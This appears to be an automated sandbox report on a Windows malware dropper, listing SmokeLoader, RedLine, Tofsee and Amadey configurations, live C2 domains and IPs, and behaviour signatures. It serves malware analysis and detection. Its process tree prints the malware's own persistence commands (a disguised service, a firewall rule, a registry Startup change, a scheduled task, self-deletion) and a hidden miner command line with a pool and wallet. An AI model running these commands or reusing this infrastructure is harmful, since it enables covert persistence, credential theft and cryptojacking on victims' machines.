Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20/12/2021, 13:57

General

  • Target
    2e3d7893776c7b1ef7b7fea8822e7d64.exe
  • Size 326KB
  • Sample211220-q89e2abdgm
  • SHA256 ba799ae5ce92f94edd6f376115e7ea178dd058ba59c40ceae7820bc6c4bd787c
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 86.107.197.138:38133

Extracted

Family
  • tofsee

C2
  • mubrikych.top

  • oxxyfix.xyz

Extracted

Family
  • redline

Botnet
  • install

C2
  • 62.182.156.187:56323

Extracted

Family
  • amadey

Version
  • 2.86

C2
  • 185.215.113.35/d2VxjasuwS/index.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Arkei

    Arkei is an infostealer written in C++.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Amadey CnC Check-In

    suricata: ET MALWARE Amadey CnC Check-In

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

    suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 38 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2e3d7893776c7b1ef7b7fea8822e7d64.exe
    "C:\Users\Admin\AppData\Local\Temp\2e3d7893776c7b1ef7b7fea8822e7d64.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2516
    • C:\Users\Admin\AppData\Local\Temp\2e3d7893776c7b1ef7b7fea8822e7d64.exe
      "C:\Users\Admin\AppData\Local\Temp\2e3d7893776c7b1ef7b7fea8822e7d64.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:3112
  • C:\Users\Admin\AppData\Local\Temp\636.exe
    C:\Users\Admin\AppData\Local\Temp\636.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3520
    • C:\Users\Admin\AppData\Local\Temp\636.exe
      C:\Users\Admin\AppData\Local\Temp\636.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:644
  • C:\Users\Admin\AppData\Local\Temp\602E.exe
    C:\Users\Admin\AppData\Local\Temp\602E.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:1504
  • C:\Users\Admin\AppData\Local\Temp\C39C.exe
    C:\Users\Admin\AppData\Local\Temp\C39C.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    PID:716
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\C39C.exe" & exit
      2⤵
        PID:3636
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 5
          3⤵
          • Delays execution with timeout.exe
          PID:1912
    • C:\Users\Admin\AppData\Local\Temp\C7E3.exe
      C:\Users\Admin\AppData\Local\Temp\C7E3.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1664
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ouldhdwk\
        2⤵
          PID:3240
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tdrilyvk.exe" C:\Windows\SysWOW64\ouldhdwk\
          2⤵
            PID:1524
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create ouldhdwk binPath= "C:\Windows\SysWOW64\ouldhdwk\tdrilyvk.exe /d\"C:\Users\Admin\AppData\Local\Temp\C7E3.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:3212
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description ouldhdwk "wifi internet conection"
              2⤵
                PID:3904
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start ouldhdwk
                2⤵
                  PID:2180
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:3832
                • C:\Users\Admin\AppData\Local\Temp\CC49.exe
                  C:\Users\Admin\AppData\Local\Temp\CC49.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1728
                  • C:\Users\Admin\AppData\Local\Temp\CC49.exe
                    C:\Users\Admin\AppData\Local\Temp\CC49.exe
                    2⤵
                    • Executes dropped EXE
                    PID:924
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 924 -s 24
                      3⤵
                      • Program crash
                      PID:2428
                • C:\Users\Admin\AppData\Local\Temp\D41A.exe
                  C:\Users\Admin\AppData\Local\Temp\D41A.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1144
                  • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                    "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe"
                    2⤵
                    • Executes dropped EXE
                    PID:2516
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                      3⤵
                        PID:1800
                        • C:\Windows\SysWOW64\reg.exe
                          REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                          4⤵
                            PID:2728
                        • C:\Windows\SysWOW64\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe" /F
                          3⤵
                          • Creates scheduled task(s)
                          PID:3804
                    • C:\Users\Admin\AppData\Local\Temp\D9C8.exe
                      C:\Users\Admin\AppData\Local\Temp\D9C8.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:1744
                      • C:\Users\Admin\AppData\Local\Temp\D9C8.exe
                        C:\Users\Admin\AppData\Local\Temp\D9C8.exe
                        2⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2168
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                      • Accesses Microsoft Outlook profiles
                      • outlook_office_path
                      • outlook_win_path
                      PID:3888
                    • C:\Windows\SysWOW64\ouldhdwk\tdrilyvk.exe
                      C:\Windows\SysWOW64\ouldhdwk\tdrilyvk.exe /d"C:\Users\Admin\AppData\Local\Temp\C7E3.exe"
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      PID:708
                      • C:\Windows\SysWOW64\svchost.exe
                        svchost.exe
                        2⤵
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        PID:1728
                        • C:\Windows\SysWOW64\svchost.exe
                          svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3808
                    • C:\Windows\explorer.exe
                      C:\Windows\explorer.exe
                      1⤵
                        PID:380
                      • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                        C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                        1⤵
                        • Executes dropped EXE
                        PID:1260

                      Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            memory/380-200-0x0000000000E40000-0x0000000000E47000-memory.dmp

                            memory/380-202-0x0000000000E30000-0x0000000000E3C000-memory.dmp

                            memory/708-216-0x0000000000400000-0x00000000004D5000-memory.dmp

                            memory/708-215-0x0000000000540000-0x000000000068A000-memory.dmp

                            memory/716-167-0x0000000000400000-0x00000000004D6000-memory.dmp

                            memory/716-166-0x0000000000540000-0x00000000005EE000-memory.dmp

                            memory/924-160-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/1144-186-0x0000000000796000-0x00000000007B4000-memory.dmp

                            memory/1144-188-0x0000000002120000-0x0000000002158000-memory.dmp

                            memory/1144-192-0x0000000000400000-0x00000000004D6000-memory.dmp

                            memory/1260-237-0x00000000007CC000-0x00000000007E9000-memory.dmp

                            memory/1260-239-0x0000000000610000-0x000000000075A000-memory.dmp

                            memory/1260-240-0x0000000000400000-0x00000000004D6000-memory.dmp

                            memory/1504-133-0x0000000000550000-0x000000000069A000-memory.dmp

                            memory/1504-134-0x0000000000400000-0x00000000004D2000-memory.dmp

                            memory/1664-170-0x00000000020F0000-0x0000000002103000-memory.dmp

                            memory/1664-171-0x0000000000400000-0x00000000004D5000-memory.dmp

                            memory/1728-211-0x0000000000110000-0x0000000000111000-memory.dmp

                            memory/1728-145-0x0000000000590000-0x0000000000591000-memory.dmp

                            memory/1728-212-0x0000000000110000-0x0000000000111000-memory.dmp

                            memory/1728-148-0x0000000005030000-0x0000000005031000-memory.dmp

                            memory/1728-209-0x0000000000400000-0x0000000000415000-memory.dmp

                            memory/1728-147-0x0000000004E00000-0x0000000004E01000-memory.dmp

                            memory/1728-149-0x0000000002870000-0x0000000002871000-memory.dmp

                            memory/1728-150-0x0000000004DE0000-0x0000000004DE1000-memory.dmp

                            memory/1728-151-0x0000000005540000-0x0000000005541000-memory.dmp

                            memory/1744-165-0x0000000002C70000-0x0000000002C71000-memory.dmp

                            memory/1744-158-0x0000000000A00000-0x0000000000A01000-memory.dmp

                            memory/1744-164-0x0000000005440000-0x0000000005441000-memory.dmp

                            memory/2168-226-0x0000000006020000-0x0000000006021000-memory.dmp

                            memory/2168-195-0x0000000004EC0000-0x00000000054C6000-memory.dmp

                            memory/2168-228-0x0000000007250000-0x0000000007251000-memory.dmp

                            memory/2168-197-0x0000000005000000-0x0000000005001000-memory.dmp

                            memory/2168-227-0x0000000006B50000-0x0000000006B51000-memory.dmp

                            memory/2168-182-0x00000000054D0000-0x00000000054D1000-memory.dmp

                            memory/2168-185-0x0000000005090000-0x0000000005091000-memory.dmp

                            memory/2168-193-0x0000000004FC0000-0x0000000004FC1000-memory.dmp

                            memory/2168-184-0x0000000004F60000-0x0000000004F61000-memory.dmp

                            memory/2168-221-0x0000000005F20000-0x0000000005F21000-memory.dmp

                            memory/2168-218-0x0000000005AE0000-0x0000000005AE1000-memory.dmp

                            memory/2168-175-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/2516-203-0x00000000006D6000-0x00000000006F4000-memory.dmp

                            memory/2516-206-0x0000000000400000-0x00000000004D6000-memory.dmp

                            memory/2516-118-0x00000000004E0000-0x000000000058E000-memory.dmp

                            memory/3012-128-0x00000000006E0000-0x00000000006F6000-memory.dmp

                            memory/3012-119-0x00000000005C0000-0x00000000005D6000-memory.dmp

                            memory/3012-135-0x0000000001F00000-0x0000000001F16000-memory.dmp

                            memory/3112-116-0x0000000000400000-0x0000000000409000-memory.dmp

                            memory/3520-123-0x0000000000786000-0x0000000000797000-memory.dmp

                            memory/3520-127-0x00000000005C0000-0x00000000005C9000-memory.dmp

                            memory/3808-235-0x0000000000C70000-0x0000000000D61000-memory.dmp

                            memory/3808-230-0x0000000000C70000-0x0000000000D61000-memory.dmp

                            memory/3888-199-0x0000000001090000-0x0000000001104000-memory.dmp

                            memory/3888-201-0x0000000001020000-0x000000000108B000-memory.dmp